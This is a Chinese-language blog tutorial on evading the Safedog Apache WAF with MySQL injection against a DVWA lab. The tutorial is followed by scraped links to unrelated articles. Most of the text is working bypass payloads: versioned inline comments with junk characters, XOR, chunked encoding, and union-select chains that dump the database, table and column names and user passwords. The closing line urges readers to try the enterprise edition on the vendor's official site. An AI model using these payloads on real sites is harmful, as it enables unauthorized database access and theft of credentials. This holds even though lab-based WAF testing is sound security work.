WAF对抗-安全狗(联合查询篇)

实验环境

网站安全狗APACHE版V4.0、靶场:dvwa

为了方便对比可以在这个在线靶场申请一个dvwa

https://www.vsplate.com/

mysql注入测试

技术点

内联注释

在mysql的语法中,有三种注释方法:-- 和#(单行注释)和 /* /(多行注释)如果在/后加惊叹号!意为/* */`里的语句将被执行

在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */;这里的50001表示假如 数据库是5.00.01及以上版本,该语句才会被执行。

异或

异或:xor^

逻辑运算就是:同假异真(两个条件结果相同就为假,结果不同就为真)

例如:1^0 就是 1 ,1^1 就是 0

例子:

lucy' Xor '1'='1' #

如果‘lucy’存在则前后都为真则为返回假

如果’lucy‘不存在则前为假后都为真则为返回真

Xor类似当前后都为真时返回假执行后面一个表达式

如果A为真,则查出不满足B条件数据;

如果A为假,则查出满足B条件数据;

科学计数法

id=0e0union select

各种符号结合

+ - .1 ! ~

空白字符

SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

分段传输

前提:POST请求

分块传输的post数据头部需要添加

Transfer-Encoding:Chunked

而post的数据是这种格式

2
id
2
=3
0

解释

2 #这个2表示下面数据的个数 可以在这个后面加入分号添加注释 比如 2;hello world 可以利用这个特性添加随机字符来干扰waf

id #参数 接收参数就是id一共就两个字母 所以上面的个数是2

2 #同理 表示下面的数据的个数

=1 #这个也是同理 和前面的id连起来 post的数据就是 id=1

0 #分块传输表示结束的方式 一个0和两个换号

自动化插件:https://github.com/c0ny1/chunked-coding-converter

注入点判断

无WAF环境

1' and 1=1#
1‘ or 1=1#

WAF环境

#test
or -> || (被拦截)
1' /*! and */ 1=1 #(被拦截)
1' and /*! 1=1 */ #(被拦截)
#bypass
and -> &
1' ^ 1=0 #
1' xor 1=1 #

联合查询

无WAF环境

1' order by 2 #
1' union select 0,1 #

WAF环境(order by)

1' order by/*! 2*/ #(拦截)
1' /*!order*/ by 2 #(拦截)
1' order /*!by*/ 2 #(拦截)
1' /*!5000 order*/ by 2 #(拦截)
1' order/**/ by 2 #(拦截)
  • 尝试fuzz下/!5000/ 里面的版本号,用木头超级字典工具直接生成0000-99999,经过测试字典只需要生成00000-99999.
#bypass
1' order/*!00144 by*/ 2 #

  • 在版本号后面接一些垃圾字符,因为有垃圾字符,所以!99999aaa等同于空格了
#bypass
1' order/*!99999aaa*/by 2#

通过观察上面的bypass,order 后面接 by会被安全狗拦截。

WAF环境(union select)

#test
1' union /**/select /**/1,2 #(拦截)
1' union /*! select*/ /**/1,2 #(拦截)
1' /*!00044 union*/ select /**/1,2 #(拦截)
1' union /*!00044 select*/ 1,2 #(bypass)//黑人问号
1' union /*!99999zz*/ select 1,2 #(bypass)

观察3、4、5三个payload,这里应该是检测union后接select就会被拦截。

爆库,表,列,值

#无WAF环境
1‘ union select 1,database()# 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'# 1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'# 1' union select group_concat(user),group_concat(password) from users#

这里我一开始是直接使用union + 版本垃圾字符 + select来查询数据库,但被拦截了,猜测应该是检测database()这个敏感函数了。

1‘ union /*!99999zz*/ select 1,database/*!99999zz*/()#

然后我试了网上说的等价函数,也是不行的

1‘ union /*!99999zz*/ select 1,@@database()#

猜测是检测database如果跟括号了就会拦截,那么这就跟绕union接select一样,在database和括号中间加版本号垃圾字符

#bypass
1' union /*!99999zz*/ select 1,database/*!99999zz*/() #

查询表时,检测规则时select xxxx from xxxx,如果select接1,2就会被拦截。

#bypass
1' union /*!99999zz*/ select 1,/*!00144group_concat(table_name)*/ from information_schema.tables where table_schema='dvwa'#

查询列最开始我是按照上面查询表的方法来构造payload的,但是被拦截了,payload如下。

1' union /*!99999zz*/ select 1,/*!00144 group_concat(column_name)*/ from  information_schema.columns where table_schema='dvwa' and table_name='users'#

然后我把最后面的 and table_name='users' 去掉来执行,马上又能成功执行了,那么问题就是出在and这里了。

构造如下payload绕过:

1' union /*!99999zz*/ select 1,/*!00144 group_concat(column_name)*/ from  information_schema.columns where table_schema='dvwa' /*!*//*00144and  table_name='users'*/#

最后查询值就容易很多了,直接上payload

1' union /*!99999zz*/ select /*!00144 group_concat(user)*/,group_concat(password) from users#

结语

这是免费版本的绕过,企业版大家直接拿安全狗官网试手就行,可以查考这篇文章。

https://paper.seebug.org/218/#0x03

WAF对抗-安全狗(联合查询篇)的更多相关文章

  1. MyBatis之三:多表联合查询

    在这篇文章里面主要讲解如何在mybatis里面使用一对一.一对多.多表联合查询(类似视图)操作的例子. 注:阅读本文前请先大概看一下之前两篇文章. 一.表结构 班级表class,学生表student, ...

  2. 实例讲解MySQL联合查询

    好了终于贴完了MySQL联合查询的内容了,加上上一篇一共2篇,都是我转载的,实例讲解MySQL联合查询.那下面就具体讲讲简单的JOIN的用法了.首先我们假设有2个表A和B,他们的表结构和字段分别为: ...

  3. SQL Server -- 回忆笔记(二):增删改查,修改表结构,约束,关键字使用,函数,多表联合查询

    SQL Server知识点回忆篇(二):增删改查,修改表结构,约束,关键字使用,函数,多表联合查询 1. insert 如果sql server设置的排序规则不是简体中文,必须在简体中文字符串前加N, ...

  4. Mysql的查询语句(联合查询、连接查询、子查询等)

    Mysql的各个查询语句(联合查询.连接查询.子查询等) 一.联合查询 关键字:union 语法形式 select语句1 union[union选项] select 语句2 union[union选项 ...

  5. MyBatis 示例-联合查询

    简介 MyBatis 提供了两种联合查询的方式,一种是嵌套查询,一种是嵌套结果.先说结论:在项目中不建议使用嵌套查询,会出现性能问题,可以使用嵌套结果. 测试类:com.yjw.demo.JointQ ...

  6. 【软件实施面试】MySQL和Oracle联合查询以及聚合函数面试总结

    软件实施面试系列文章第二弹,MySQL和Oracle联合查询以及聚合函数的面试总结.放眼望去全是MySQL,就不能来点Oracle吗?之前面过不少公司,也做过不少笔试题,现在已经很少做笔试题了.你肚子 ...

  7. SQL联合查询:子表任一记录与主表联合查询

    今天有网友群里提了这样一个关于SQL联合查询的需求: 一.有热心网友的方案: 二.我的方案: select * from ( select a.*,(select top 1 Id from B as ...

  8. SQL 语句与性能之联合查询和联合分类查询

    select * from t1 left join t2 on t2.sysno =t1.ASysNo left join t3 on t3.sysno =t2.ASysNo left join t ...

  9. myBatis中 collection 或 association 联合查询 中column 传入多个参数值

    下面是一个树形结构表自连接 联合查询 Demo <resultMap id="BaseResultMap"  type="com.maidan.daas.entit ...

随机推荐

  1. 【FAQ】运动健康服务REST API接口使用过程中常见问题和解决方法总结

    华为运动健康服务(HUAWEI Health Kit)为三方生态应用提供了REST API接口,通过其接口可访问数据库,为用户提供运动健康类数据服务.在实际的集成过程中,开发者们可能会遇到各种问题,这 ...

  2. 【物联网串口服务器通信经验教程】Modbus网关协议转换

    在前面的文章中,我们已经详细地介绍了Modbus网关的几种主要类型,今天,就让我们来介绍一下其中简单协议转换的处理过程. 简单协议转换是最常规.最普遍的Modbus网关功能,也是数据处理效率最高Mod ...

  3. 【Java面试】Mysql为什么使用B+Tree作为索引结构

    一个工作8年的粉丝私信了我一个问题. 他说这个问题是去阿里面试的时候被问到的,自己查了很多资料也没搞明白,希望我帮他解答. 问题是: "Mysql为什么使用B+Tree作为索引结构" ...

  4. WPF开发随笔收录-ScrollViewer滑块太小解决方案

    一.前言 在WPF开发过程中,ScrollViewer是一个很常使用到的控件,在自己工作的项目中,收到一个反馈就是当ScrollViewer里面的内容太长时,滚动条的滑块就会变得很小,然后导致点击起来 ...

  5. 前端下载图片的N种方法

    前几天一个简单的下载图片的需求折腾了我后端大佬好几天,最终还是需要前端来搞,开始说不行的笔者最后又行了,所以趁着这个机会来总结一下下载图片到底有多少种方法. 先起个服务 使用expressjs起个简单 ...

  6. 面试突击61:说一下MySQL事务隔离级别?

    MySQL 事务隔离级别是为了解决并发事务互相干扰的问题的,MySQL 事务隔离级别总共有以下 4 种: READ UNCOMMITTED:读未提交. READ COMMITTED:读已提交. REP ...

  7. mvc Ensure that HttpConfiguration.EnsureInitialized()

    The object has not yet been initialized. Ensure that HttpConfiguration.EnsureInitialized() is called ...

  8. Trie树模板2

    Trie数模板2 problem 这道题然后我们求最大异或对,我们很容易想出来 \(O(n^2)\) 的做法,两层循环遍历搞定 然后我们知道这样是肯定是肯定过不了的,我们考虑用字典树解决,然后我们来看 ...

  9. while练习题_1到100之间的偶数和

    依然是while循环四步骤 初始化变量 条件判断 条件执行体 最后就是输出答案就可以了 点击查看笔者代码 a = 1 sum = 0 while a <= 100: if (a+1)%2:#if ...

  10. java------JRE和JDK

    JDK(Java Development kit):Java开发工具包 包括 JVM(Java Virtual Machine):java虚拟机,真正运行java程序的地方(Java语言在运行时并不是 ...